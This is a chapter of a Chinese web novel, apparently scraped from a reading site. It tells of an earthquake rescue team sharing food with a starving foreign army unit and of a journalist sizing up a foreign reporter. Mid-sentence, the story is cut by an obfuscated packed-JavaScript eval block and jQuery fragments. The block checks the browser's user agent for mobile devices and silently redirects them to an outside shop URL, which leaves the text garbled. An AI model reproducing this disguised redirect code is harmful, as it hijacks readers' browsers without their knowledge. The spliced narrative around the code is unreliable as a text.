默认冷灰
24号文字
方正启体

105. 第 105 章

作者:岑昱本书字数:K更新时间:
    纪士诚在手台里的语气异乎寻常地严肃,齐寻不敢耽搁,立刻赶到指挥部营帐,一进门,他就懂了。


    简易折叠桌旁,坐着一个穿着库萨军装的军人。


    他面色肃然得像在绷着劲,瘦削的脸上浮着一层愁色,顺着刀刻似的法令纹一直流进口中,嘴唇紧抿着,把它们死死关在里面。


    他身后还站着一个长相稚嫩的小兵,制服大得不合身,眼皮半耷拉着,垂在眼珠上。


    那军官见他进来,起身欠了欠,仍不说话。


    纪士诚一脑门子官司,对齐寻招手:“你替我听听,他到底来干嘛的?”


    纪队的英文水平连散装都说不上,学了多少年,愣是学不会,一到国际救援,他就全交给齐寻,自己在后面躲懒,倒是把齐寻练出来了。


    这当兵的一进来,呜哩哇啦一长串,他什么都听不明白,就听懂一个“food”。


    纪士诚就纳闷了,人是正经军官,总不会是来要饭的吧?


    齐寻听完这一通抱怨,思索了片刻,打起十二万分的小心问:“有什么我们能做的?”


    当然得小心,一个弄不好,说不定搞出外交事件。


    对面那个像是在修闭口禅的军官听他发问,脸上肌肉先颤了几颤,停了几秒,终于下定决心似地开口了。


    ——他们真的是来要饭的。


    这军官所在的队伍是地震发生后第一个进入这个区域的,搜救已经超过72小时,虽然是正规军,物资却连他们这个民间救援队都比不上。


    而接下来他说的话,彻底突破了齐寻的想象。


    “说这种话对我来说是一种耻辱,先生,”他口边的法令纹似乎楔得更深,把脸颊都切断了:“为了迅速到现场,我们轻装简行,只带了三天的口粮,而约定的补给并没有送到。到昨天晚上,队伍已经全部断粮了。”


    塔拉维地广人稀,能见到其他的救援队伍纯靠运气。他们的人在微光营地附近徘徊了很久,确定这是一支素质很高的队伍,犹豫再三,才决定拿出诚意,由驻地军衔最高的军官出面,踩着自己的脸面和军人的尊严,来要点吃的。


    站在他身后的小兵小脸紧绷着,严肃得像视死如归,脸涨得通红。


    “我们救出来很多人,原本带的口粮更快地耗尽了,”军官放在膝盖上的手微微蜷缩:“你们能不能匀出一些来?不用很多,我相信不多时,我们的补给一定会来的,到时候……”


    他咽了咽,大概也意识到这话说出来简直像一个绝望的谎言,便没再往下说。


    齐寻把这些话转述给纪士诚,两个人都沉默了。


    来之前他们做过些功课,知道库萨这地方管理相当混乱,却难以想象,当地政府竟然孱弱到了这个地步。


    这是慌乱之下,连自己的命脉都对别人双手奉上了。


    齐寻想起当年锦城大地震,部队和志愿者是如何在第一时间冒着生命危险空投进灾区,又是怎么众志成城,从地下刨出一条条命,让他们吃上热饭,喝上热汤的。


    他低下头,几不可闻地叹了口气,眼神却瞟到了军官的腰间。


    默了半晌,齐寻慢慢道:“你们的诉求我们了解了,但我们无法立刻做决定,得清点一下库存,看看怎么分配更合理。你们先回去,等有了结果,我们第一时间通知你。”


    这话虽然听起来像和稀泥,但也是实话。


    如果要借,就不能只借两口饼干,至少要让对面能活下去,总得点点自己还有多少东西,才能答应人家。


    可那军官却没有起身说那就拜托了,而是纹丝不动地坐在折叠椅上,姿势摆得比刚刚更方正:“好的,我们会在这里耐心等待。”


    ……这是打定主意,今天借不到粮,就不回去了。


    “我也认识一些中国朋友,他们说朋友来了,你们总会给顿饭吃。”他看着齐寻,目光锈住了似的:“这是我们最后一条路。”


    纪士诚和齐寻面面相觑,最后只能让他们在里面喝茶,自己跑出来,站在门口商量。


    纪士诚头都大了,愁得直搓脸:“你说怎么还有这种事……咱到底借不借?”


    齐寻深吸一口气:“我们也没有太多富余,还有那么多天,不能不考虑。但是……”


    但要是不借,这不就是眼睁睁看人家去送死吗?


    纪士诚想了一阵子,摇摇头:“不行。”


    齐寻嗯了声,他也是这么想的。


    “而且,”他笑了声:“他腰上别着什么,你没看见?”


    那军官腰间鼓囊囊的,勾勒出一个枪套的形状。


    他们是军队,再不济也不会坐等饿死,到时候为了保命会干出什么来,那就不一定了。


    纪士诚想了半天,长叹一声:“……行吧,让后勤列单子吧。”


    ……


    齐寻回了大本营,简单跟后勤组说明了情况,就让他们点点能匀出多少东西来。


    他也不回去休息,而是坐在才布置好的仓库旁边,看着他们一点一点将存货搬出来盘点,再分出一半来,路过他身边,放到帐子外。


    纷纷攘攘间,黎叙闻进来,坐在他旁边,问:“在想什么?”


    她挨着他,温热的身体贴着他的,齐寻视线却仍在那些物资上。


    “在想坏事,”他按下那些复杂心思,故作轻松道:“盘算再去抢一次工程队的可能性。”


    黎叙闻失笑,扳着他的下颌,强迫他看她:“说。”


    面对这双眼睛,齐寻总是异常难以拒绝,于是只能原原本本地告诉了她一切。


    她听完却不像他跟纪士诚那么震惊,反而思忖起来:“……这操作……怎么感觉这么耳熟?”想了想,又问:“合作救灾的是A国哪个公司啊?他说了吗?”


    “IronPeak,你听说过吗?”


    黎叙闻扬起眉:“何止是听说过。”


    这是A国一家颇有名气的跨国公司,在A国国内名声极佳,几乎各种大型事务都有他们的身影。


    但黎叙闻读的是传媒,她可太知道了,所谓名声极佳,不过是“善于操控舆论”的好听说法。


    她上学的时候做过不少案例研究,类似的新闻没少读——大公司一切调配都有成熟的章程,资源也充足,真想进,不可能进不来。


    她略一思索:“连军队补给都进不来,这样的话,吊车不来就显得更合理了。”


    齐寻烦闷道:“怎么合理了,按理来说48小时之内……”


    “‘显得’,”黎叙闻按住他的嘴唇:“知道什么叫‘显得’吗?”


    “不确定呢,”她笑道:“到底是‘显得’,还是‘就是’,说不定马上就有机会知道了。”


    齐寻眉还拧着,把她的手摘下来握在手里:“要做什么?别勉强。”


    黎叙闻泛凉的指尖在他掌心轻轻挠:“不勉强。”


    为了让他不要再一身的伤,这都算不上什么勉强。


    她眯起眼睛,眸光在阳光里微微发亮:“就是不知道这个机会,什么时候才能来。”


    ……


    没过几个小时,她的机会真的来了。


    之前她打电话跟地方政府吵架,对方被她骂得狗血淋头,还不忘叮嘱,在记者面前不要乱讲话,完全不知道正在骂他的这个人就是记者。黎叙闻好笑之余,也得到了一条线索:这地方马上有记者要来,而且分量不轻。


    听了齐寻的那番解释,她稍一盘算,发现值得一赌——赌赢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236146|190916||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了能多救出很多人不说,齐寻和队友们也能少受很多伤,赌输了也无所谓,毕竟状况已经不能更差了。


    于是当她在医疗区门口,看到那个穿着GVN文化衫,一脸不耐烦的年轻记者的时候,黎叙闻露出了一种类似于黄鼠狼看到鸡的笑容。


    那小记者长着一张娃娃脸,金发碧眼的,长得算俊俏,眉眼间却写着一副跟他气质毫不相关的傲慢。


    看见一个好漂亮的亚洲姑娘对着他笑,他立刻挑起眉,轻佻地吹了个口哨。


    漂亮姑娘盈盈一笑,一开口,一阵来自同行前辈的压制骤然压向他:“嗨甜心,怎么被派到这种地方来啊?摄像师都没给配吗?啧啧啧。”


    那小记者一听这话,脸立刻黑了。


    这种男的黎叙闻上学的时候见得多了,从小一路私校养成的自信轻慢,不杀杀他的气焰,他真把你当个花瓶玩。


    GVN也是A国老牌电视台了,论资排辈不输体制内,外勤的摄像师人数太有限,优先配给台柱子,派去重点区域大城市,像塔维拉这种穷乡僻壤的地方,一般都派没资历没关系的小年轻。


    这小记者估计这辈子第一次受这种怠慢,正委屈呢,好不容易见到个齐头整脸的女人,却一点都不小意温柔,不留情面直接给他戳穿了。


    他木着脸掉头就想走。


    “往前是库萨的军区,”黎叙闻在他背后喊:“真不进来坐啊?”


    小记者可谓识时务,磕绊都没打,立刻转身回来了。


    “女士,能不能给我一杯水?”他收敛了气焰,礼貌道:“我走了一个半小时了。”


    黎叙闻虚情假意地给他冲了杯速溶咖啡,捏着杯沿递到他手上:“小心啊,特别烫。”


    当然得特别烫,速溶咖啡也分了一大半出去,他要三两口就喝完,黎叙闻都舍不得再给他泡第二杯。


    小记者感激不尽,低头抿了一口,烫得直吸溜:“我叫查理,怎么称呼你?”


    黎叙闻有心遮掩,便道:“叫我黎就行。”又问:“你是哪个学校毕业的?”


    这问题正中查理下怀,他骄傲道:“银石湖大学,新闻传媒学院。”说完还嫌不够掷地有声,又补一句:“没错,就是那个银石湖。”


    黎叙闻眉头一挑。


    A国就这样,到哪里都有个“校友”的概念,能拉上这层关系,就算是半个熟人了。


    她本想着要是能跟他同事、朋友、上级拉上校友的关系,说话也方便点,没想到对方竟然是她直系学弟。


    她故作惊喜道:“真的?我也是,我硕士毕业三年了,你呢?”


    结果查理听到这话,非但没有兴奋,反而惊恐地看了她一眼,低下头不讲话了。


    黎叙闻心下好笑,心想这么长时间了,母校还是这副德行。


    没别的,因为银石湖新闻学院向来看不起GVN。


    GVN新闻频道在整个A国都是出了名的激进,为了抢头条和时效不择手段,每每以狗血和烈度为噱头,把新闻公信力视为无物。


    银石湖身为A国新闻专业排名第一的院校,自然有傲骨,谁要是沦落到GVN,见了校友那肯定是抬不起头的。


    “行了,我懂你,”黎叙闻颇为好心地拍拍他的肩膀:“你要是在GVN都能做出一番事业,谁还看不起你?”


    查理霍地抬起头,眼睛里闪着一种他乡遇故知的激动。


    小年轻就是容易被这种鸡血所打动,当即把手里的咖啡一饮而尽,对她重重点了点头。


    搞事业事不宜迟,他点开自己的手机备忘录,问她:“我需要拍一点挖掘机的救援画面,我看其他同事的片子里说,所有大型机械调配都已经完成了,你们这里的挖掘机呢?在哪里?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)